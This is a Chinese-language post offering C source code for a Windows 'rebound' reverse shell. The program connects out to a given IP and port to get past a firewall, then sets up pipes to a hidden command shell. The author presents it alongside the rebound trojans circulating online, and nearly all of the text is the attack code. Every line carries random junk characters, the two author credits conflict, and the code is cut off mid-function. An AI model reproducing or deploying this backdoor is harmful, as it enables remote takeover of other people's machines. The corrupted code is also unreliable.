这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 V0
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/* ============================== ma26|N5
Rebound port in Windows NT Q1@V?`rkS{
By wind,2006/7 Eq/%k $6#1
===============================*/ uBC*7Mkm
#include I"+;L4o `
#include ;zvg] %
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#pragma comment(lib,"wsock32.lib") Lv
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void OutputShell(); C_Z[ul
SOCKET sClient; P/FO, S-V
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; mYzq[p_|j
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void main(int argc,char **argv) N8l(m5Kk,k
{ p,9eZUGy
WSADATA stWsaData; ~?{@0,$
int nRet; K]q OLtc
SOCKADDR_IN stSaiClient,stSaiServer; # 1,(I
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if(argc != 3) 2$? )VXtw
{ Ip4SdbU
printf("Useage:\n\rRebound DestIP DestPort\n"); u]ZCYJ>
return; 5X-cDY*|
} >c7fg^@
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WSAStartup(MAKEWORD(2,2),&stWsaData); o^},L?
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p]#%e0
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stSaiClient.sin_family = AF_INET; h7
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stSaiClient.sin_port = htons(0); Bf F$
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); W%.Kr-[?`o
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) D{/GjFO
{ (a1 s~
printf("Bind Socket Failed!\n"); y4Plm.
return; Zl.}J,0F
} O- &>Dc
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stSaiServer.sin_family = AF_INET; aC$hg+U$G
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <$HP"f+<S5
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 1<
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) eEQ
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printf("Connect Error!"); ~ FM5]<X)
return; QE$sXP7&u
} q?{wRBVVB
OutputShell(); ,`MUd0 n
} KyNv)=x4c
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void OutputShell() Yyby 1
{ 2RidI&?c<
char szBuff[1024]; aDTNr/I
SECURITY_ATTRIBUTES stSecurityAttributes; p^A9iieHp=
OSVERSIONINFO stOsversionInfo; uG2Hzav
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; -D0kp~AO4N
STARTUPINFO stStartupInfo; ">lu8F
char *szShell; O!kBp(?]
PROCESS_INFORMATION stProcessInformation; ; 7[5%xM
unsigned long lBytesRead; ;+`t[ go
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;dNKe.`Dg
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); NB;8 e>8
stSecurityAttributes.lpSecurityDescriptor = 0; } O8|_d
stSecurityAttributes.bInheritHandle = TRUE; )}1J.>5
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Oj6 -
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); |[;9$Vn
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); WrQe'ny
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Dx/BxqG6}_
stStartupInfo.wShowWindow = SW_HIDE; 0{j]p^'<
stStartupInfo.hStdInput = hReadPipe;
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